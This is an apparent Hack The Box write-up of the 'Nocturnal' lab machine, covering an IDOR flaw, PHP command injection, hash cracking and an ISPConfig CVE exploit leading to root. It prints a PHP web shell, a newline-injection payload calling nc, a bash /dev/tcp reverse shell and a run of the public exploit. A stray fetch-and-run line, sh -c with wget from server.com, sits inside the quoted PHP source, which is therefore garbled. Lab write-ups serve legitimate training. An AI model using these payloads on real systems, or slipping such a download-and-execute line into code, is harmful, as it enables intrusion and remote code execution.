Nocturnal - HTB Machine
Nocturnal
is a Hack The Box machine released on 12 Apr 2025
Summary (How?)
Nocturnal is a Hack The Box machine which serves a web application that allows file upload and download. The interesting/weird thing is that it utilizes a username
parameter in the URL to retrieve and show files for an specific user. This is vulnerable to Insecure Direct Object Reference (IDOR) and also allowed us to enumerate users. Using ffuf
we found user amanda
and were able to read her files finding credentials.
Using the discovered credentials, we gained access to an admin panel which had a backup of the source code of the application that we could download. Analyzing this source code we identified a command injection vulnerability. This enabled us to obtain a reverse shell as the www-data
user. Further enumeration revealed a SQLite database containing hashed passwords, which we cracked to escalate privileges to the tobias
user.
From there, we identified an ISPConfig service running as root, accessible on a locally bound port. By setting up SSH port forwarding, We accessed the service and identified its version. Researching known vulnerabilities for the ISPConfig version led us to CVE-2023-46818, which had an public available exploit that easily popped a root shell.
Enumeration
nmap
# Nmap 7.95 scan initiated Sun Jun 15 17:05:50 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oN nmap-basic nocturnal.htb
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Welcome to Nocturnal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 15 17:06:07 2025 -- 1 IP address (1 host up) scanned in 17.31 seconds
Technologies identified and initial page
PHP
Nginx 1.18.0
Ubuntu
Upload files page
Allowed filetypes:
Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.
Let’s try uploading a simple shell with a .pdf
extension to see if that’s the only security measure.
┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ cat webshell.pdf
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
We confirm that the validation is only in the file extension (no MIME validation), as the “pdf” appears in our files
If we click on it we can download it. Here is the request
It’s interesting that the username is passed as parameter… Maybe we can brute force them.
Brute force users
If the user sent in the parameter is not found then this is displayed
Let’s brute force users using ffuf
┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ ffuf -w /opt/SecLists/Usernames/xato-net-10-million-usernames.txt -u "http://nocturnal.htb/view.php?username=FUZZ&file=file.pdf" \
-H "Host: nocturnal.htb" \
-b "PHPSESSID=g58l7pp91fiue151k1v2o5pj4d" \
-fs 2985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=file.pdf
:: Wordlist : FUZZ: /opt/SecLists/Usernames/xato-net-10-million-usernames.txt
:: Header : Host: nocturnal.htb
:: Header : Cookie: PHPSESSID=g58l7pp91fiue151k1v2o5pj4d
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 171ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 170ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 172ms]
andy2977#
With these brute forced we modify the parameter username
and found that it is vulnerable to Insecure Direct Object Reference (IDOR) allowing us to access other user’s files.
Inside the privacy.odt
we find a password
amanda
:arHkG7HAI68X8s1J
Directory fuzzing
With directory fuzzing we couldn’t find anything else than it’s visible from the UI.
┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -u "http://nocturnal.htb/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
# Copyright 2007 James Fisher [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 173ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 174ms]
# [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 174ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 174ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 174ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 175ms]
[Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 175ms]
# on at least 3 different hosts [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 175ms]
# directory-list-2.3-small.txt [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
# [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
# [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
# [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 177ms]
uploads [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 169ms]
backups [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 164ms]
[Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 164ms]
uploads2 [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 164ms]
:: Progress: [87664/87664] :: Job [1/1] :: 240 req/sec :: Duration: [0:06:34] :: Errors: 0 ::
LFI parameter
The parameter file
looked interesting so we tried to fuzz it for local file inclusion.
┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ ffuf -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://nocturnal.htb/view.php?username=asdf&file=FUZZ.pdf" \
-H "Host: nocturnal.htb" \
-b "PHPSESSID=g58l7pp91fiue151k1v2o5pj4d" \
-fs 3197
Admin panel
It looks like Amanda hasn’t changed her password as was suggested and we can use this password to log in as amanda and get to the Admin Panel
By clicking each .php file we can revise its code. For example dashboard.php
We can also “create backups” with certain password
The output is interesting, it looks as the direct output from a system command. Maybe there’s some command injection in the backup password.
To determine this, we download the source code clicking in “download backup”, which will be password protected with the one we just use.
┌──(kali㉿kali)-[~/htb-machines/nocturnal/backup]
└─$ ls -la
total 52
drwxrwxr-x 3 kali kali 4096 Jun 15 17:52 .
drwxrwxr-x 3 kali kali 4096 Jun 15 17:52 ..
-rw-r--r-- 1 kali kali 7357 Mar 4 11:34 admin.php
-rw-r--r-- 1 kali kali 2666 Apr 14 05:28 dashboard.php
-rw-r--r-- 1 kali kali 1639 Apr 9 06:52 index.php
-rw-r--r-- 1 kali kali 1425 Apr 14 05:27 login.php
-rw-r--r-- 1 kali kali 84 Oct 4 2024 logout.php
-rw-r--r-- 1 kali kali 1404 Apr 14 05:29 register.php
-rw-r--r-- 1 kali kali 3105 Oct 18 2024 style.css
drwxr-xr-x 2 kali kali 4096 Jun 15 17:40 uploads
-rw-r--r-- 1 kali kali 5415 Apr 16 10:18 view.php
OS Command Injection - Getting a shell as www-data
Once we download the source code we find these interesting lines in admin.php
Function that “prevents” command injection
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
sh -c "$(wget -qO- http://server.com/backup.sh)"
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
How it’s used and the command executed
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
What is happening here is that if we do a POST request to /admin.php with the parameters backup
set and password
with the password used to protect the file $backupFile
, then the command
zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &"
is executed. Here the code is vulnerable to command injection
, as it is protecting injection from only a few characters, but this does not prevent command injection. For example, if we use the URL payload
%0Anc%0910.10.14.177%099001%0A
- %0A → New line, which in bash will be interpreted as a new command
- nc TAB (we use tab instead of spaces since they are bloacked) IP PORT
- %0A
And we get a connection proving the command injection works
┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.177] from (UNKNOWN) [10.10.11.64] 42048
Let’s get a reverse shell. My initial payload was this
nc 10.10.14.100 9001 -e sh -> %0Anc%0910.10.14.100%099001%09S-e%09sh
But we were getting this error. This is likely because the -
in the -e
flag is not being processed right.
Here we tried several ways to get the one liner, but we didn’t get it, so the workaround was to host a file with a reverse shell command and use wget
to download it and then execute it. There is probably a better wat, but it’s honest work
┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ echo 'bash -i >& /dev/tcp/10.10.14.177/9001 0>&1' > shell.sh
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.64 - - [15/Jun/2025 22:32:14] "GET /shell.sh HTTP/1.1" 200 -
And then manually download it
Thene execute it
And we’re in!
┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.177] from (UNKNOWN) [10.10.11.64] 39996
bash: cannot set terminal process group (846): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nocturnal:~/nocturnal.htb$
User flag
The shell we obtained is as www-data
. We need to find a way to get tobias password, as this is the only user on the system.
www-data@nocturnal:~/nocturnal.htb$ ls -l /home
ls -l /home
total 4
drwxr-x--x 5 tobias tobias 4096 Oct 19 2024 tobias
Maybe amanda’s? As its the default one for “all services”
www-data@nocturnal:~/nocturnal.htb$ su tobias
su tobias
Password: arHkG7HAI68X8s1J
su: Authentication failure
Nope…
We remember that there was a database defined in the code using a relative path
www-data@nocturnal:~$ ls -l
ls -l
total 16
drwxr-xr-x 2 root root 4096 Mar 4 15:02 html
lrwxrwxrwx 1 root root 34 Oct 17 2024 ispconfig -> /usr/local/ispconfig/interface/web
drwxr-xr-x 4 www-data www-data 4096 Jun 16 02:40 nocturnal.htb
drwxr-xr-x 2 www-data www-data 4096 Jun 16 01:57 nocturnal_database
drwxr-xr-x 4 ispconfig ispconfig 4096 Oct 17 2024 php-fcgi-scripts
Let’s dump it
www-data@nocturnal:~$ python3 -m http.server
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.14.177 - - [16/Jun/2025 02:41:59] "GET / HTTP/1.1" 200 -
10.10.14.177 - - [16/Jun/2025 02:42:00] code 404, message File not found
10.10.14.177 - - [16/Jun/2025 02:42:00] "GET /favicon.ico HTTP/1.1" 404 -
There we have some users!
┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ sqlite3 nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
uploads users
sqlite> select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|testuser123|5f4dcc3b5aa765d61d8327deb882cf99
9|1qaz2wsx|1c63129ae9db9c60c3e8aa94d3e00495
10|test123456|47ec2dd791e31e2ef2076caf64ed9b3d
Cracking tobias password
Theeere we go.
$ hashcat -m 0 tobias_hash /usr/share/wordlists/rockyou.txt
55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 55c82b1ccd55ab219b3b109b07d5061d
Finally we gained SSH access and persistence as tobias user.
┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ ssh [email protected]
[email protected] password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)
tobias@nocturnal:~$ cat user.txt
851413ddb54acf65da381adb6da6590c
Root
The next goal is to obtain the root flag. Let’s start with some enumeration.
Enumeration
tobias
is not among the sudoers…
tobias@nocturnal:~$ sudo -l
[sudo] password for tobias:
Sorry, user tobias may not run sudo on nocturnal.
After this we checked some things, gcc version (not installed), kernel version, cronjobs, etc..
As we found nothing, we executed linpeas.sh
and got the following things.
Databases
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /etc/mail/access.db: regular file, no read permission
Found /etc/mail/aliases.db: regular file, no read permission
Found /var/lib/command-not-found/commands.db: SQLite 3.x database, last written using SQLite version 3031001
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3031001
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3031001
Found /var/www/nocturnal_database/nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001
Available services
tobias@nocturnal:~$ netstat -atnlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
Here it’s interesting those services in 8080 and 587. The secont one should be an ESMTP Server according to Google.
ESMTP Server
If we connect to the server using netcat we can grab the service banner and version.
tobias@nocturnal:~$ nc localhost 587
220 nocturnal ESMTP Sendmail 8.15.2/8.15.2/Debian-18; Mon, 16 Jun 2025 03:47:06 GMT; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
This runs as root…
tobias@nocturnal:~$ ps aux | grep mail
root 1248 0.0 0.1 22924 5072 ? Ss 01:43 0:00 sendmail: MTA: accepting connections
tobias@nocturnal:/var/www/nocturnal.htb$ ls -l /etc/mail
total 220
-rw------- 1 root root 4265 Oct 18 2024 access
-rw-r----- 1 smmta smmsp 12288 Oct 18 2024 access.db
-rw-r--r-- 1 root root 281 Mar 7 2020 address.resolve
lrwxrwxrwx 1 root smmsp 10 Oct 18 2024 aliases -> ../aliases
-rw-r----- 1 smmta smmsp 12288 Oct 18 2024 aliases.db
-rw-r--r-- 1 root root 3220 Oct 18 2024 databases
-rw-r--r-- 1 root root 5659 Mar 7 2020 helpfile
-rw-r--r-- 1 root smmsp 20 Oct 18 2024 local-host-names
drwxr-sr-x 2 smmta smmsp 4096 Oct 18 2024 m4
-rwxr-xr-- 1 root smmsp 10019 Oct 18 2024 Makefile
drwxr-xr-x 2 root root 4096 Oct 18 2024 peers
drwxr-xr-x 2 root smmsp 4096 Mar 7 2020 sasl
-rw-r--r-- 1 root smmsp 64167 Oct 18 2024 sendmail.cf
-rw-r--r-- 1 root root 12235 Oct 18 2024 sendmail.conf
-rw-r--r-- 1 root smmsp 4058 Oct 18 2024 sendmail.mc
-rw-r--r-- 1 root root 148 Mar 7 2020 service.switch
-rw-r--r-- 1 root root 179 Mar 7 2020 service.switch-nodns
drwxr-sr-x 2 smmta smmsp 4096 Oct 18 2024 smrsh
-rw-r--r-- 1 root smmsp 44607 Oct 18 2024 submit.cf
-rw-r--r-- 1 root smmsp 2375 Oct 18 2024 submit.mc
drwxr-xr-x 2 smmta smmsp 4096 Oct 18 2024 tls
-rw-r--r-- 1 root smmsp 0 Oct 18 2024 trusted-user
ISPConfig
We did a port forwarding using ssh in order to access the website on 8080
┌──(kali㉿kali)-[~/htb-machines/nocturnal] │
└─$ ssh -L 8081:localhost:8080 [email protected]
And from our local VM we get this login page
Once here tried every possible user password combination
- admin
- amanda
- tobias
- kavi
Then we found some access logs indicating that the user we were looking for was admin
tobias@nocturnal:/var/www$ cat /var/log/ispconfig/auth.log
Successful login for user 'admin' from 127.0.0.1 at 2025-04-09 10:19:13 with session ID vo10b400dv579klascjkkf1568
Successful login for user 'admin' from 127.0.0.1 at 2025-04-09 10:54:48 with session ID k6cfshre0jfnp81hetdrc1c67a
Successful login for user 'admin' from 127.0.0.1 at 2025-06-20 13:44:37 with session ID mb6m96bi36iovbu3ub1t54ov31
Successful login for user 'admin' from 127.0.0.1 at 2025-06-20 13:48:56 with session ID kn53qi267eni2lrfeh4btvh3nh
Successful login for user 'admin' from 127.0.0.1 at 2025-06-20 13:49:37 with session ID r21pdd3uei768f2mcp4vg49lue
Successful login for user 'admin'
And the correct one was the last one we tried of course: admin
:slowmotionapocalypse
(this is Tobias password)
With these credentials we access the admin panel
We can see that this service is running as root in its systemd configuration.
tobias@nocturnal:/$ cat /etc/systemd/system/ispconfig.service
[Unit]
Description=PHP Built-in Server for ISPConfig
After=network.target
[Service]
Type=simple
User=root
WorkingDirectory=/var/www/ispconfig
ExecStart=/usr/bin/php -S 127.0.0.1:8080
Restart=always
[Install]
WantedBy=multi-user.target
CVE 2023-46818
Doing some research we find ISPConfig version 3.2.10p1
This version is vulnerable to CVE 2023-46818
In this PoC it’s explained that
User input passed through the “records” POST parameter to /admin/language_edit.php is not properly sanitized before being used to dynamically generate PHP code that will be executed by the application. This can be exploited by malicious administrator users to inject and execute arbitrary PHP code on the web server
Using this PoC we get root access in the webserver, and the final flag.
┌──(frang4㉿laptop-de-fran)-[~/htb-machines/2025/nocturnal]
└─$ python exploit.py http://localhost:8081/ admin slowmotionapocalypse
[+] Target URL: http://localhost:8081/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)
ispconfig-shell# cat /root/root.txt
7b56a77ebc40096555425d4397f5d49a